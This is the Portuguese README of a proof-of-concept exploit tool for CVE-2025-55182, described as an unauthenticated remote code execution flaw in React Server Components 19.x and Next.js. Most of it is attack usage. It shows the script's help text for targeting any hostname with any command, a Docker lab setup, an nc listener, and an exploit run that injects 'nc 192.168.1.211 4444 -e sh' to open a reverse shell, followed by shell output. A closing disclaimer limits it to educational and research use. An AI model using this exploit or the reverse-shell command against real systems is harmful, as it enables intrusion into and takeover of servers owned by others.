
CVE-2025-55182 (React2Shell) PoC: RCE não autenticada afetando React 19.x e Next.js < 15.1.4. Explora vulnerabilidades no protocolo RSC Flight.
Existe uma vulnerabilidade de execução remota de código pré-autenticação nos componentes React Server versões 19.0.0, 19.1.0, 19.1.1 e 19.2.0, incluindo os seguintes pacotes: react-server-dom-parcel, react-server-dom-turbopack e react-server-dom-webpack. O código vulnerável desserializa de forma insegura payloads de requisições HTTP para endpoints de Server Function.
https://nvd.nist.gov/vuln/detail/CVE-2025-55182
usage: CVE-2025-55182.py [-h] --command COMMAND target
PoC exploit: CVE-2025-55182
positional arguments:
target Target hostname
options:
-h, --help show this help message and exit
--command COMMAND Command to run on target
# Create docker instance
docker run -d -p 3000:3000 ihsansencan/react2shell:cve-2025-55182
# Start listener
nc -lnvp 4444
# Launch exploit
python3 CVE-2025-55182.py http://127.0.0.1:3000/ --command "nc 192.168.1.211 4444 -e sh"
# Should receive reverse shell in listener
Listening on 0.0.0.0 4444
Connection received on 172.17.0.2 43911
uname -a
Linux f346806b6f59 6.17.0-20-generic #20~24.04.1-Ubuntu SMP PREEMPT_DYNAMIC Thu Mar 19 01:28:37 UTC 2 x86_64 Linux
Este projeto é fornecido apenas para fins educacionais e de pesquisa. O autor não é responsável pelo uso indevido ou danos causados por este código.